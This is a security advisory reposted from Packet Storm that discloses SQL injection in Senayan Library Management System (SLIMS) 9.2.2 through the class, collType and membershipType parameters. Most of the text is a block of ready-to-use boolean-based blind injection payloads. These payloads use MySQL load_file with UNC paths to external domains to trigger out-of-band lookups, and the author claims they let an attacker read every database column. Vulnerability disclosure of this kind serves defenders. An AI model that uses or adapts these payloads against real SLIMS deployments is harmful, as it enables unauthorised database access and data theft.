Lucene search

K
packetstormNu11secur1tyPACKETSTORM:170325
HistoryDec 21, 2022 - 12:00 a.m.

Senayan Library Management System 9.2.2 SQL Injection

2022-12-2100:00:00
nu11secur1ty
packetstormsecurity.com
174
sql injection vulnerability
senayan library management system
slims 9
not sanitizing cookie
high vulnerability
nu11secur1ty
load file function
external domain
manual insertion
unc file path
`## Title: Senayan Library Management System v9.2.2 a.k.a SLIMS 9 Multiple SQLi-Not sanitizing correctly cookie session.  
## Author: nu11secur1ty  
## Date: 12.20.2022  
## Vendor: https://slims.web.id/web/  
## Software: https://github.com/slims/slims9_bulian/releases/tag/v9.2.2  
## Reference:  
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.2.2/SQLi  
  
## Description:  
The manual insertion `point 3, 4, and 5` appears to be vulnerable to SQL  
injection attacks. The payload '+(select load_file('\\\\  
azditm561h7fku3yj99us8ne258zwpkgn4eu1opd.stupid.com\\dzd'))+' was submitted  
in the manual insertion `point 3`.  
This payload injects a SQL sub-query that calls MySQL's load_file function  
with a UNC file path that references a URL on an external domain.  
After manual testing: The parameters class, collType and membershipType are  
vulnerable to SQLi attacks!  
The application interacted with that domain, indicating that the injected  
SQL query was executed.  
The attacker can take information from all database columns of this system  
by using this vulnerability.  
Not sanitizing correctly cookie session.  
  
## STATUS: HIGH Vulnerability  
  
[+] Payload:  
  
```MySQL  
00  
---  
Parameter: class (GET)  
Type: boolean-based blind  
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or  
GROUP BY clause  
Payload: reportView=true&year=2002&class=bbbb'+(select load_file('\\\\  
716gb1cfe9gkja4zdj45qxx9208vwlkcn0en6bv.slims.web.id\\nbq'))+''+(select  
load_file('\\\\1rtb9wq2997df8x4x2cdtmp4kvqoee255twjjb70.slims.web.id\\avg'))+''  
RLIKE (SELECT (CASE WHEN (2920=2920) THEN 0x62626262+(select  
load_file(0x5c5c5c5c37313667623163666539676b6a61347a646a34357178783932303876776c6b636e30656e3662762e736c696d732e7765622e69645c5c6e6271))+''+(select  
load_file(0x5c5c5c5c3172746239777132393937646638783478326364746d70346b76716f656532353574776a6a6237302e736c696d732e7765622e69645c5c617667))+''  
ELSE 0x28 END)) AND 'xMPZ'='xMPZ&membershipType=a''&collType=aaaa'+(select  
load_file('\\\\dctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.slims.web.id\\wtf'))+''+(select  
load_file('\\\\azditm561h7fku3yj99us8ne258zwpkgn4eu1opd.slims.web.id  
\\dzd'))+'  
---  
  
01  
---  
Parameter: collType (GET)  
Type: boolean-based blind  
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or  
GROUP BY clause  
Payload: reportView=true&year=2002&class=bbbb'+(select load_file('\\\\  
716gb1cfe9gkja4zdj45qxx9208vwlkcn0en6bv.slims.web.id\\nbq'))+''+(select  
load_file('\\\\1rtb9wq2997df8x4x2cdtmp4kvqoee255twjjb70.slims.web.id\\avg'))+'&membershipType=a''&collType=aaaa'+(select  
load_file('\\\\dctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.slims.web.id\\wtf'))+''+(select  
load_file('\\\\azditm561h7fku3yj99us8ne258zwpkgn4eu1opd.slims.web.id\\dzd'))+''  
RLIKE (SELECT (CASE WHEN (2279=2279) THEN 0x61616161+(select  
load_file(0x5c5c5c5c646374697930687a69777a643478756a6671716366643375756c306b6f61633166703666743968792e736c696d732e7765622e69645c5c777466))+''+(select  
load_file(0x5c5c5c5c617a6469746d3536316837666b7533796a39397573386e653235387a77706b676e346575316f70642e736c696d732e7765622e69645c5c647a64))+''  
ELSE 0x28 END)) AND 'MGZY'='MGZY  
---  
  
03  
---  
Parameter: membershipType (GET)  
Type: boolean-based blind  
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or  
GROUP BY clause  
Payload: reportView=true&year=2002&class=bbbb'+(select load_file('\\\\  
716gb1cfe9gkja4zdj45qxx9208vwlkcn0en6bv.slims.web.id\\nbq'))+''+(select  
load_file('\\\\1rtb9wq2997df8x4x2cdtmp4kvqoee255twjjb70.slims.web.id\\avg'))+'&membershipType=a'''  
RLIKE (SELECT (CASE WHEN (7628=7628) THEN 0x612727 ELSE 0x28 END)) AND  
'ckmk'='ckmk&collType=aaaa'+(select load_file('\\\\  
dctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.slims.web.id\\wtf'))+''+(select  
load_file('\\\\azditm561h7fku3yj99us8ne258zwpkgn4eu1opd.slims.web.id  
\\dzd'))+'  
---  
```  
  
## Reproduce:  
[href](  
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.2.2/SQLi  
)  
  
## Reference:  
[Using HTTP cookies](  
https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies)  
  
## Proof and Exploit:  
[href](https://streamable.com/1m0y6c)  
  
## Time spent  
`00:35:00`  
  
## Writing an exploit  
`00:15:00`  
  
`